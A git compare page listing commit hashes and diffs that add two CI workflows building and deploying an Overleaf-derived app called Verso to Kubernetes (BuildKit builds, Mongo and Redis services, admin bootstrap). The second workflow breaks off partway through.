Compare commits
230 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 952c897760 | |||
| 713aa70c52 | |||
| 3e0188b66d | |||
| 8c9a610f0d | |||
| 6496e9133d | |||
| 5fcf4bb262 | |||
| 8e6e9eded0 | |||
| 33c830b594 | |||
| f36dbd12e9 | |||
| c65bb80512 | |||
| 031f65224c | |||
| 11d852fe18 | |||
| cc0d97903c | |||
| 5850ffcad7 | |||
| 8c9088d054 | |||
| 974a9c4fb3 | |||
| 34025dc084 | |||
| 0099672015 | |||
| a5ca432396 | |||
| f1abcaa4ce | |||
| 1c323351a2 | |||
| 55e8208892 | |||
| b8543c8bb9 | |||
| 7e6c8c30cc | |||
| e0c717c131 | |||
| 7a5218d472 | |||
| b16b096744 | |||
| e9cc63a261 | |||
| 07c72cf7e5 | |||
| 4f98abbc5d | |||
| 1dcd6e24f4 | |||
| e21f7cc0d5 | |||
| e4f5385e35 | |||
| 2f3e3e7363 | |||
| 94e8ff3503 | |||
| 26da1f6205 | |||
| 5287ea6f00 | |||
| 045d458875 | |||
| 2c0f387cef | |||
| f9788a1c69 | |||
| 489bdb01ec | |||
| 0b8897540d | |||
| 2ead377ebc | |||
| 5a85e1b9d8 | |||
| 165219dcb1 | |||
| 71755e5cee | |||
| 453439e611 | |||
| d895e14e48 | |||
| 4410a83146 | |||
| db162e54af | |||
| 228ad00075 | |||
| 7eaeaedcd8 | |||
| 54c510c818 | |||
| 5796c0157c | |||
| 3f68c147a4 | |||
| 0780963bc7 | |||
| 43a622cd71 | |||
| 9079b545f7 | |||
| eb45ececf0 | |||
| e6add1e6f0 | |||
| 170818e6fc | |||
| 9ea904f78f | |||
| 757735b075 | |||
| fa36cd508b | |||
| b7735d402d | |||
| cabe0046c5 | |||
| 97247b8ea5 | |||
| 3fcd133198 | |||
| 44dee7592a | |||
| bfcf75855a | |||
| 3140e46e68 | |||
| 2570b6559d | |||
| 6ce36a2606 | |||
| fc2abf5b24 | |||
| b8fc478e1f | |||
| d25b032e16 | |||
| fc31a88767 | |||
| 0501586743 | |||
| df61bfc788 | |||
| 9ec0ff065d | |||
| 8e36f20950 | |||
| 06e99fe62a | |||
| d112271b1c | |||
| 0658bd9a31 | |||
| b07d141397 | |||
| 6869ad5bdf | |||
| 9cf1085fbb | |||
| ea57ae9125 | |||
| 5cf1b43ce7 | |||
| e38f4e18e4 | |||
| f1282ee5cd | |||
| a2f72adf67 | |||
| 0da93aaab3 | |||
| e53c6f2aea | |||
| c249d6a6e9 | |||
| 2d8f23509a | |||
| 0f640c74b2 | |||
| 54ccb3d712 | |||
| 35fa7cec05 | |||
| 2385166213 | |||
| fddb141d19 | |||
| 8272d6de88 | |||
| a553a8390d | |||
| 5ad548e7d7 | |||
| 021b2e305c | |||
| cc762bb7e6 | |||
| f8c7e092fa | |||
| 98bd09c31d | |||
| 78bea8d574 | |||
| 979f065581 | |||
| b6451d5bb0 | |||
| d52b5ae141 | |||
| 4fc86ebd3d | |||
| 12cabd1d1b | |||
| 676663ffcc | |||
| 7d5deebfce | |||
| 7a50f42e02 | |||
| 38edd5269c | |||
| 2eccfe7f75 | |||
| 7670982f60 | |||
| f50d6cb053 | |||
| e0a4938a78 | |||
| 2e657e51d6 | |||
| 4c13d139f6 | |||
| 405c1d27c9 | |||
| c9727a26e4 | |||
| 8530c5ebe0 | |||
| 83b6b323c3 | |||
| 8b9fe4e760 | |||
| 654cd7db9f | |||
| 51620caf8b | |||
| 96fc1a90a1 | |||
| f1d827202f | |||
| 8691907210 | |||
| e3fb781042 | |||
| f2abd42969 | |||
| 7e1c2ce53a | |||
| 67b27c2684 | |||
| ec84a88eb3 | |||
| 96e0830eef | |||
| a9a9f6ee6b | |||
| 7053434da6 | |||
| 24dba36060 | |||
| fda0283490 | |||
| 2a5f1be811 | |||
| 105a0ff35c | |||
| 2c7129be3a | |||
| bd4f73b836 | |||
| 0e4fe4090a | |||
| 58884231c1 | |||
| db1deb1617 | |||
| b8067723b6 | |||
| c09ada9ddb | |||
| 8b61e8cdca | |||
| e0f542a241 | |||
| ac83bc520c | |||
| 4d9adb2723 | |||
| c38e2b8b49 | |||
| 899879472e | |||
| 28a578ec85 | |||
| 4766071e69 | |||
| 539cb877b4 | |||
| 4d3ac2b9ea | |||
| 2cb81bd246 | |||
| eae5a0ebc7 | |||
| cb0d9ac9fa | |||
| 59055aa67e | |||
| 18f9220e73 | |||
| 9b01fab383 | |||
| 7c2b903e4d | |||
| 2d4ca6f13a | |||
| d67bc77b0e | |||
| 2a9c4cfe81 | |||
| 3e10d1c4ee | |||
| b3541ba6f3 | |||
| aa3fb56458 | |||
| e87bbfe5b0 | |||
| 56d66b109e | |||
| 31fbc3daee | |||
| a0ca344065 | |||
| 54e122610e | |||
| 10ef1d0f34 | |||
| b6c1a2d5ce | |||
| 987b3a1f71 | |||
| 270cbaf84e | |||
| 3c763015ce | |||
| b5a73efaeb | |||
| 5f761c1772 | |||
| 4800a51957 | |||
| 7c86657548 | |||
| 3af4e2f46a | |||
| 8f2f6d1684 | |||
| 3bb293f7a7 | |||
| 2ae860a1a8 | |||
| 422ac30e6c | |||
| a89b8bd282 | |||
| a241e2c201 | |||
| 4460c1d9d6 | |||
| 0407e17c68 | |||
| 24cd4bf13d | |||
| 090018c191 | |||
| 48fd24a6b2 | |||
| 141cf95f9e | |||
| 1e5ce6c068 | |||
| ce0572e01e | |||
| 824b873c69 | |||
| b2b2ed13aa | |||
| 09f5329a07 | |||
| 0323fd4813 | |||
| af54b5fd49 | |||
| 5b5a54f7b1 | |||
| a7c2403c4a | |||
| d52821e7cc | |||
| d3a9259b42 | |||
| a2db1f04be | |||
| 070d0c1352 | |||
| 016da98027 | |||
| 1aae2fb3fc | |||
| 12290c5d93 | |||
| 85ecaf1ff6 | |||
| 3b8879b9ca | |||
| f341d6e64d | |||
| ecbf7d4bdc | |||
| ba5d159f28 | |||
| a851f53005 | |||
| e4db4fe458 | |||
| 4424286dfd | |||
| 0771eeab43 | |||
| 3fe806fc0e | |||
| cc0db0813f |
@@ -0,0 +1,383 @@
|
|||||||
|
name: Build and Deploy Verso (prod)
|
||||||
|
|
||||||
|
# Production deploy. Triggered only by pushes to the `prod` branch — keep `main`
|
||||||
|
# for day-to-day work and fast-forward `prod` when a build is stable.
|
||||||
|
#
|
||||||
|
# Differences from the test deploy (deploy-verso.yml):
|
||||||
|
# - Runs in the `verso` namespace (test runs in `test`).
|
||||||
|
# - Mongo / Redis / app data live on PersistentVolumeClaims and are applied
|
||||||
|
# idempotently: this workflow NEVER deletes them, so data survives deploys.
|
||||||
|
# - The replica set is initialised only once.
|
||||||
|
# - Builds/pushes a distinct image tag (verso:stable) so prod and test never
|
||||||
|
# clobber each other's image.
|
||||||
|
# - SMTP comes from the `verso-smtp` Secret (create it with kubectl); email is
|
||||||
|
# optional so the app still boots before the secret exists.
|
||||||
|
# - Public self-registration stays off (CE default): friends-only, admin
|
||||||
|
# creates accounts / sends invites.
|
||||||
|
#
|
||||||
|
# Out of band (do once): create the PVCs (server-ce/k8s/verso-prod-pvcs.yaml,
|
||||||
|
# with your storageClass), the `verso-smtp` Secret, and a verso.alocoq.fr
|
||||||
|
# Ingress (see server-ce/k8s/verso-prod-ingress.example.yaml) + DNS.
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- prod
|
||||||
|
workflow_dispatch:
|
||||||
|
|
||||||
|
env:
|
||||||
|
SITE_URL: https://verso.alocoq.fr
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
deploy:
|
||||||
|
runs-on: native
|
||||||
|
timeout-minutes: 240
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: Build and push Verso prod image with BuildKit
|
||||||
|
run: |
|
||||||
|
kubectl -n ci delete job verso-buildkit-prod --ignore-not-found=true --wait=true
|
||||||
|
|
||||||
|
cat <<'EOF' | kubectl apply -f -
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: verso-buildkit-prod
|
||||||
|
namespace: ci
|
||||||
|
spec:
|
||||||
|
backoffLimit: 0
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
restartPolicy: Never
|
||||||
|
initContainers:
|
||||||
|
- name: prepare
|
||||||
|
image: alpine/git:latest
|
||||||
|
command: ["sh", "-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
set -eux
|
||||||
|
REG=registry.git.svc.cluster.local:5000
|
||||||
|
git clone --depth 1 --branch prod https://git.alocoq.fr/alois/verso.git /workspace/repo
|
||||||
|
|
||||||
|
# Build the base image only when Dockerfile-base changes
|
||||||
|
# (content-hash tag); otherwise reuse the cached base.
|
||||||
|
BTAG=$(sha256sum /workspace/repo/server-ce/Dockerfile-base | cut -c1-16)
|
||||||
|
printf '%s' "$BTAG" > /workspace/base_tag
|
||||||
|
if wget -qO- "http://$REG/v2/verso-base/tags/list" 2>/dev/null | grep -q "\"base-$BTAG\""; then
|
||||||
|
echo "Base image base-$BTAG already present - skipping base build"
|
||||||
|
else
|
||||||
|
touch /workspace/build-base
|
||||||
|
echo "Base image base-$BTAG not found - base will be built"
|
||||||
|
fi
|
||||||
|
volumeMounts:
|
||||||
|
- name: workspace
|
||||||
|
mountPath: /workspace
|
||||||
|
|
||||||
|
containers:
|
||||||
|
- name: buildkit
|
||||||
|
image: moby/buildkit:latest
|
||||||
|
securityContext:
|
||||||
|
privileged: true
|
||||||
|
command: ["sh", "-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
set -eux
|
||||||
|
|
||||||
|
REG=registry.git.svc.cluster.local:5000
|
||||||
|
|
||||||
|
mkdir -p /etc/buildkit
|
||||||
|
printf '[registry."%s"]\n http = true\n insecure = true\n' "$REG" > /etc/buildkit/buildkitd.toml
|
||||||
|
|
||||||
|
BTAG=$(cat /workspace/base_tag)
|
||||||
|
BASE_REF="$REG/verso-base:base-$BTAG"
|
||||||
|
|
||||||
|
if [ -f /workspace/build-base ]; then
|
||||||
|
buildctl-daemonless.sh build \
|
||||||
|
--frontend=dockerfile.v0 \
|
||||||
|
--local context=/workspace/repo \
|
||||||
|
--local dockerfile=/workspace/repo/server-ce \
|
||||||
|
--opt filename=Dockerfile-base \
|
||||||
|
--import-cache type=registry,ref=$REG/verso-cache:base \
|
||||||
|
--export-cache type=registry,ref=$REG/verso-cache:base,mode=max \
|
||||||
|
--output type=image,name=$BASE_REF,push=true,registry.insecure=true
|
||||||
|
else
|
||||||
|
echo "Reusing existing base image $BASE_REF"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# App image → verso:stable (prod tag).
|
||||||
|
buildctl-daemonless.sh build \
|
||||||
|
--frontend=dockerfile.v0 \
|
||||||
|
--local context=/workspace/repo \
|
||||||
|
--local dockerfile=/workspace/repo/server-ce \
|
||||||
|
--opt filename=Dockerfile \
|
||||||
|
--opt build-arg:OVERLEAF_BASE_TAG=$BASE_REF \
|
||||||
|
--import-cache type=registry,ref=$REG/verso-cache:app \
|
||||||
|
--export-cache type=registry,ref=$REG/verso-cache:app,mode=max \
|
||||||
|
--output type=image,name=$REG/verso:stable,push=true,registry.insecure=true
|
||||||
|
volumeMounts:
|
||||||
|
- name: workspace
|
||||||
|
mountPath: /workspace
|
||||||
|
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
- name: Wait for build
|
||||||
|
run: |
|
||||||
|
kubectl -n ci wait --for=condition=complete job/verso-buildkit-prod --timeout=14400s
|
||||||
|
|
||||||
|
- name: Show build logs
|
||||||
|
if: always()
|
||||||
|
run: |
|
||||||
|
kubectl -n ci logs job/verso-buildkit-prod -c prepare || true
|
||||||
|
kubectl -n ci logs job/verso-buildkit-prod -c buildkit || true
|
||||||
|
|
||||||
|
- name: Ensure data services (Mongo + Redis, never deleted)
|
||||||
|
run: |
|
||||||
|
# Mongo/Redis. Applied idempotently — this step must never delete
|
||||||
|
# these, so project data survives every deploy. The namespace and the
|
||||||
|
# PVCs (server-ce/k8s/verso-prod-pvcs.yaml) are provisioned out of
|
||||||
|
# band, so the runner only needs namespaced rights in `verso` (like
|
||||||
|
# `test`). This step assumes the namespace and the
|
||||||
|
# mongo-data / redis-data / verso-data PVCs already exist.
|
||||||
|
cat <<'EOF' | kubectl apply -f -
|
||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: mongo
|
||||||
|
namespace: verso
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
strategy:
|
||||||
|
type: Recreate
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: mongo
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: mongo
|
||||||
|
spec:
|
||||||
|
containers:
|
||||||
|
- name: mongo
|
||||||
|
image: mongo:8
|
||||||
|
command: ["mongod", "--replSet", "rs0", "--bind_ip_all"]
|
||||||
|
ports:
|
||||||
|
- containerPort: 27017
|
||||||
|
volumeMounts:
|
||||||
|
- name: mongo-data
|
||||||
|
mountPath: /data/db
|
||||||
|
volumes:
|
||||||
|
- name: mongo-data
|
||||||
|
persistentVolumeClaim:
|
||||||
|
claimName: mongo-data
|
||||||
|
---
|
||||||
|
apiVersion: v1
|
||||||
|
kind: Service
|
||||||
|
metadata:
|
||||||
|
name: mongo
|
||||||
|
namespace: verso
|
||||||
|
spec:
|
||||||
|
selector:
|
||||||
|
app: mongo
|
||||||
|
ports:
|
||||||
|
- name: mongo
|
||||||
|
port: 27017
|
||||||
|
targetPort: 27017
|
||||||
|
---
|
||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: redis
|
||||||
|
namespace: verso
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
strategy:
|
||||||
|
type: Recreate
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: redis
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: redis
|
||||||
|
spec:
|
||||||
|
containers:
|
||||||
|
- name: redis
|
||||||
|
image: redis:7
|
||||||
|
# AOF persistence so a restart doesn't drop in-flight edits
|
||||||
|
# before they're flushed to Mongo.
|
||||||
|
command: ["redis-server", "--appendonly", "yes"]
|
||||||
|
ports:
|
||||||
|
- containerPort: 6379
|
||||||
|
volumeMounts:
|
||||||
|
- name: redis-data
|
||||||
|
mountPath: /data
|
||||||
|
volumes:
|
||||||
|
- name: redis-data
|
||||||
|
persistentVolumeClaim:
|
||||||
|
claimName: redis-data
|
||||||
|
---
|
||||||
|
apiVersion: v1
|
||||||
|
kind: Service
|
||||||
|
metadata:
|
||||||
|
name: redis
|
||||||
|
namespace: verso
|
||||||
|
spec:
|
||||||
|
selector:
|
||||||
|
app: redis
|
||||||
|
ports:
|
||||||
|
- name: redis
|
||||||
|
port: 6379
|
||||||
|
targetPort: 6379
|
||||||
|
EOF
|
||||||
|
|
||||||
|
kubectl -n verso rollout status deployment/mongo --timeout=300s
|
||||||
|
kubectl -n verso rollout status deployment/redis --timeout=300s
|
||||||
|
|
||||||
|
- name: Initialise Mongo replica set (only if not already initialised)
|
||||||
|
run: |
|
||||||
|
kubectl -n verso exec deploy/mongo -- mongosh --quiet --eval '
|
||||||
|
try {
|
||||||
|
rs.status()
|
||||||
|
print("replica set already initialised")
|
||||||
|
} catch (e) {
|
||||||
|
if (e.codeName === "NotYetInitialized" || /no replset config/i.test(e.message)) {
|
||||||
|
rs.initiate({ _id: "rs0", members: [{ _id: 0, host: "mongo:27017" }] })
|
||||||
|
print("replica set initiated")
|
||||||
|
} else {
|
||||||
|
throw e
|
||||||
|
}
|
||||||
|
}
|
||||||
|
'
|
||||||
|
kubectl -n verso exec deploy/mongo -- mongosh --quiet --eval '
|
||||||
|
while (rs.status().myState !== 1) { sleep(1000) }
|
||||||
|
print("Mongo replica set is PRIMARY")
|
||||||
|
'
|
||||||
|
|
||||||
|
- name: Ensure Verso deployment + service
|
||||||
|
run: |
|
||||||
|
# Stamp the instance name with this build number, e.g. "Verso V0.12 Alpha".
|
||||||
|
NAV_TITLE="Verso V0.${GITHUB_RUN_NUMBER:-${GITEA_RUN_NUMBER:-0}} Alpha"
|
||||||
|
cat <<'EOF' | sed "s|__NAV_TITLE__|${NAV_TITLE}|g" | kubectl apply -f -
|
||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: verso
|
||||||
|
namespace: verso
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
# RWO data volume → can't run two pods at once; recreate on update.
|
||||||
|
strategy:
|
||||||
|
type: Recreate
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: verso
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: verso
|
||||||
|
spec:
|
||||||
|
securityContext:
|
||||||
|
# App runs as www-data (uid/gid 33); make the data volume
|
||||||
|
# group-writable by it.
|
||||||
|
fsGroup: 33
|
||||||
|
initContainers:
|
||||||
|
- name: init-data-perms
|
||||||
|
image: busybox:latest
|
||||||
|
command: ["sh", "-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
set -eux
|
||||||
|
mkdir -p /data/template_files /data/user_files \
|
||||||
|
/data/compiles /data/cache /data/output /data/published
|
||||||
|
chown -R 33:33 /data
|
||||||
|
volumeMounts:
|
||||||
|
- name: verso-data
|
||||||
|
mountPath: /data
|
||||||
|
containers:
|
||||||
|
- name: verso
|
||||||
|
image: registry.alocoq.fr/verso:stable
|
||||||
|
# :stable is a fixed tag, so force a pull on every rollout to
|
||||||
|
# pick up the freshly built image.
|
||||||
|
imagePullPolicy: Always
|
||||||
|
ports:
|
||||||
|
- containerPort: 80
|
||||||
|
env:
|
||||||
|
- name: OVERLEAF_MONGO_URL
|
||||||
|
value: mongodb://mongo:27017/sharelatex?replicaSet=rs0
|
||||||
|
- name: OVERLEAF_REDIS_HOST
|
||||||
|
value: redis
|
||||||
|
- name: REDIS_HOST
|
||||||
|
value: redis
|
||||||
|
- name: OVERLEAF_APP_NAME
|
||||||
|
value: Verso
|
||||||
|
- name: OVERLEAF_NAV_TITLE
|
||||||
|
value: "__NAV_TITLE__"
|
||||||
|
- name: OVERLEAF_SITE_URL
|
||||||
|
value: https://verso.alocoq.fr
|
||||||
|
- name: OVERLEAF_SITE_LANGUAGE
|
||||||
|
value: fr
|
||||||
|
# Allow anonymous visitors so public published-presentation
|
||||||
|
# links and read-only share links work without login.
|
||||||
|
- name: OVERLEAF_ALLOW_PUBLIC_ACCESS
|
||||||
|
value: "true"
|
||||||
|
# NB: anonymous read-AND-write sharing is intentionally NOT
|
||||||
|
# enabled (compiles are unsandboxed → only trusted accounts
|
||||||
|
# may trigger them). Public self-registration is also off
|
||||||
|
# (CE default): admin creates accounts / sends invites.
|
||||||
|
- name: OVERLEAF_ENABLE_PROJECT_PYTHON_VENV
|
||||||
|
value: "true"
|
||||||
|
# (SMTP email vars are loaded below via envFrom.)
|
||||||
|
# SMTP for password-reset / invite emails. All
|
||||||
|
# OVERLEAF_EMAIL_* vars come from the optional 'verso-smtp'
|
||||||
|
# Secret (its keys must be named exactly like those env
|
||||||
|
# vars). Optional, so the app boots before the secret exists.
|
||||||
|
envFrom:
|
||||||
|
- secretRef:
|
||||||
|
name: verso-smtp
|
||||||
|
optional: true
|
||||||
|
volumeMounts:
|
||||||
|
- name: verso-data
|
||||||
|
mountPath: /var/lib/overleaf/data
|
||||||
|
volumes:
|
||||||
|
- name: verso-data
|
||||||
|
persistentVolumeClaim:
|
||||||
|
claimName: verso-data
|
||||||
|
---
|
||||||
|
apiVersion: v1
|
||||||
|
kind: Service
|
||||||
|
metadata:
|
||||||
|
name: verso
|
||||||
|
namespace: verso
|
||||||
|
spec:
|
||||||
|
selector:
|
||||||
|
app: verso
|
||||||
|
ports:
|
||||||
|
- name: http
|
||||||
|
port: 80
|
||||||
|
targetPort: 80
|
||||||
|
EOF
|
||||||
|
|
||||||
|
- name: Deploy Verso image
|
||||||
|
run: |
|
||||||
|
kubectl -n verso set image deployment/verso \
|
||||||
|
verso=registry.alocoq.fr/verso:stable
|
||||||
|
kubectl -n verso rollout restart deployment/verso
|
||||||
|
kubectl -n verso rollout status deployment/verso --timeout=600s
|
||||||
|
|
||||||
|
- name: Create initial admin (only if no users exist)
|
||||||
|
run: |
|
||||||
|
COUNT=$(kubectl -n verso exec deploy/mongo -- mongosh sharelatex --quiet --eval 'db.users.countDocuments()' | tr -d '[:space:]')
|
||||||
|
if [ "$COUNT" = "0" ]; then
|
||||||
|
echo "No users yet — creating the initial admin account"
|
||||||
|
kubectl -n verso exec deploy/verso -- bash -lc '
|
||||||
|
cd /overleaf/services/web
|
||||||
|
node modules/server-ce-scripts/scripts/create-user \
|
||||||
|
--admin \
|
||||||
|
--email=alois.coquillard@gmail.com
|
||||||
|
'
|
||||||
|
else
|
||||||
|
echo "Users already exist ($COUNT) — skipping admin creation"
|
||||||
|
fi
|
||||||
@@ -0,0 +1,339 @@
|
|||||||
|
name: Build and Deploy Verso
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- main
|
||||||
|
workflow_dispatch:
|
||||||
|
|
||||||
|
env:
|
||||||
|
SITE_URL: https://test.alocoq.fr
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
deploy:
|
||||||
|
runs-on: native
|
||||||
|
timeout-minutes: 240
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: Build and push Verso images with BuildKit
|
||||||
|
run: |
|
||||||
|
kubectl -n ci delete job verso-buildkit --ignore-not-found=true --wait=true
|
||||||
|
|
||||||
|
cat <<'EOF' | kubectl apply -f -
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: verso-buildkit
|
||||||
|
namespace: ci
|
||||||
|
spec:
|
||||||
|
backoffLimit: 0
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
restartPolicy: Never
|
||||||
|
initContainers:
|
||||||
|
- name: prepare
|
||||||
|
image: alpine/git:latest
|
||||||
|
command: ["sh", "-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
set -eux
|
||||||
|
REG=registry.git.svc.cluster.local:5000
|
||||||
|
git clone --depth 1 https://git.alocoq.fr/alois/verso.git /workspace/repo
|
||||||
|
|
||||||
|
# (#1) Build the base image only when it actually changes.
|
||||||
|
# The base layers' only repo input is Dockerfile-base, so
|
||||||
|
# we key on a content hash of that file: the base is tagged
|
||||||
|
# verso-base:base-<hash> and the app builds FROM that exact
|
||||||
|
# tag. If a base with this hash is already in the registry,
|
||||||
|
# the heavy base build (apt, TeX Live, Quarto) is skipped.
|
||||||
|
BTAG=$(sha256sum /workspace/repo/server-ce/Dockerfile-base | cut -c1-16)
|
||||||
|
printf '%s' "$BTAG" > /workspace/base_tag
|
||||||
|
if wget -qO- "http://$REG/v2/verso-base/tags/list" 2>/dev/null | grep -q "\"base-$BTAG\""; then
|
||||||
|
echo "Base image base-$BTAG already present - skipping base build"
|
||||||
|
else
|
||||||
|
touch /workspace/build-base
|
||||||
|
echo "Base image base-$BTAG not found - base will be built"
|
||||||
|
fi
|
||||||
|
volumeMounts:
|
||||||
|
- name: workspace
|
||||||
|
mountPath: /workspace
|
||||||
|
|
||||||
|
containers:
|
||||||
|
- name: buildkit
|
||||||
|
image: moby/buildkit:latest
|
||||||
|
securityContext:
|
||||||
|
privileged: true
|
||||||
|
command: ["sh", "-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
set -eux
|
||||||
|
|
||||||
|
# Push to the in-cluster registry (plain HTTP) to bypass
|
||||||
|
# the Traefik ingress, whose read timeout was killing the
|
||||||
|
# multi-GB TeX Live layer upload mid-stream. Mark the
|
||||||
|
# registry http+insecure so both push and the base pull
|
||||||
|
# for the app build treat it as plain HTTP. Written inside
|
||||||
|
# the container so no extra k8s resources are needed.
|
||||||
|
REG=registry.git.svc.cluster.local:5000
|
||||||
|
|
||||||
|
mkdir -p /etc/buildkit
|
||||||
|
printf '[registry."%s"]\n http = true\n insecure = true\n' "$REG" > /etc/buildkit/buildkitd.toml
|
||||||
|
|
||||||
|
BTAG=$(cat /workspace/base_tag)
|
||||||
|
BASE_REF="$REG/verso-base:base-$BTAG"
|
||||||
|
|
||||||
|
# (#1) Base build, only when prepare flagged it changed.
|
||||||
|
# (#2) Import/export a registry layer cache so that, when
|
||||||
|
# the base does change, unchanged layers (e.g. apt) are
|
||||||
|
# still reused instead of rebuilt from scratch.
|
||||||
|
if [ -f /workspace/build-base ]; then
|
||||||
|
buildctl-daemonless.sh build \
|
||||||
|
--frontend=dockerfile.v0 \
|
||||||
|
--local context=/workspace/repo \
|
||||||
|
--local dockerfile=/workspace/repo/server-ce \
|
||||||
|
--opt filename=Dockerfile-base \
|
||||||
|
--import-cache type=registry,ref=$REG/verso-cache:base \
|
||||||
|
--export-cache type=registry,ref=$REG/verso-cache:base,mode=max \
|
||||||
|
--output type=image,name=$BASE_REF,push=true,registry.insecure=true
|
||||||
|
else
|
||||||
|
echo "Reusing existing base image $BASE_REF"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# App image, built FROM the content-pinned base tag.
|
||||||
|
# (#2) The registry cache lets yarn install be skipped when
|
||||||
|
# package.json is unchanged; the web build only re-runs
|
||||||
|
# when the frontend source actually changes.
|
||||||
|
buildctl-daemonless.sh build \
|
||||||
|
--frontend=dockerfile.v0 \
|
||||||
|
--local context=/workspace/repo \
|
||||||
|
--local dockerfile=/workspace/repo/server-ce \
|
||||||
|
--opt filename=Dockerfile \
|
||||||
|
--opt build-arg:OVERLEAF_BASE_TAG=$BASE_REF \
|
||||||
|
--import-cache type=registry,ref=$REG/verso-cache:app \
|
||||||
|
--export-cache type=registry,ref=$REG/verso-cache:app,mode=max \
|
||||||
|
--output type=image,name=$REG/verso:latest,push=true,registry.insecure=true
|
||||||
|
volumeMounts:
|
||||||
|
- name: workspace
|
||||||
|
mountPath: /workspace
|
||||||
|
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
- name: Wait for build
|
||||||
|
run: |
|
||||||
|
kubectl -n ci wait --for=condition=complete job/verso-buildkit --timeout=14400s
|
||||||
|
|
||||||
|
- name: Show build logs
|
||||||
|
if: always()
|
||||||
|
run: |
|
||||||
|
kubectl -n ci logs job/verso-buildkit -c prepare || true
|
||||||
|
kubectl -n ci logs job/verso-buildkit -c buildkit || true
|
||||||
|
|
||||||
|
- name: Recreate test dependencies
|
||||||
|
run: |
|
||||||
|
kubectl -n test delete deployment mongo redis --ignore-not-found=true --wait=true
|
||||||
|
kubectl -n test delete service mongo redis --ignore-not-found=true --wait=true
|
||||||
|
|
||||||
|
cat <<'EOF' | kubectl apply -f -
|
||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: mongo
|
||||||
|
namespace: test
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: mongo
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: mongo
|
||||||
|
spec:
|
||||||
|
containers:
|
||||||
|
- name: mongo
|
||||||
|
image: mongo:8
|
||||||
|
command: ["mongod", "--replSet", "rs0", "--bind_ip_all"]
|
||||||
|
ports:
|
||||||
|
- containerPort: 27017
|
||||||
|
volumeMounts:
|
||||||
|
- name: mongo-data
|
||||||
|
mountPath: /data/db
|
||||||
|
volumes:
|
||||||
|
- name: mongo-data
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
apiVersion: v1
|
||||||
|
kind: Service
|
||||||
|
metadata:
|
||||||
|
name: mongo
|
||||||
|
namespace: test
|
||||||
|
spec:
|
||||||
|
selector:
|
||||||
|
app: mongo
|
||||||
|
ports:
|
||||||
|
- name: mongo
|
||||||
|
port: 27017
|
||||||
|
targetPort: 27017
|
||||||
|
---
|
||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: redis
|
||||||
|
namespace: test
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: redis
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: redis
|
||||||
|
spec:
|
||||||
|
containers:
|
||||||
|
- name: redis
|
||||||
|
image: redis:7
|
||||||
|
ports:
|
||||||
|
- containerPort: 6379
|
||||||
|
volumeMounts:
|
||||||
|
- name: redis-data
|
||||||
|
mountPath: /data
|
||||||
|
volumes:
|
||||||
|
- name: redis-data
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
apiVersion: v1
|
||||||
|
kind: Service
|
||||||
|
metadata:
|
||||||
|
name: redis
|
||||||
|
namespace: test
|
||||||
|
spec:
|
||||||
|
selector:
|
||||||
|
app: redis
|
||||||
|
ports:
|
||||||
|
- name: redis
|
||||||
|
port: 6379
|
||||||
|
targetPort: 6379
|
||||||
|
EOF
|
||||||
|
|
||||||
|
kubectl -n test rollout status deployment/mongo --timeout=180s
|
||||||
|
kubectl -n test rollout status deployment/redis --timeout=180s
|
||||||
|
|
||||||
|
sleep 5
|
||||||
|
|
||||||
|
kubectl -n test exec deploy/mongo -- mongosh --eval '
|
||||||
|
rs.initiate({
|
||||||
|
_id: "rs0",
|
||||||
|
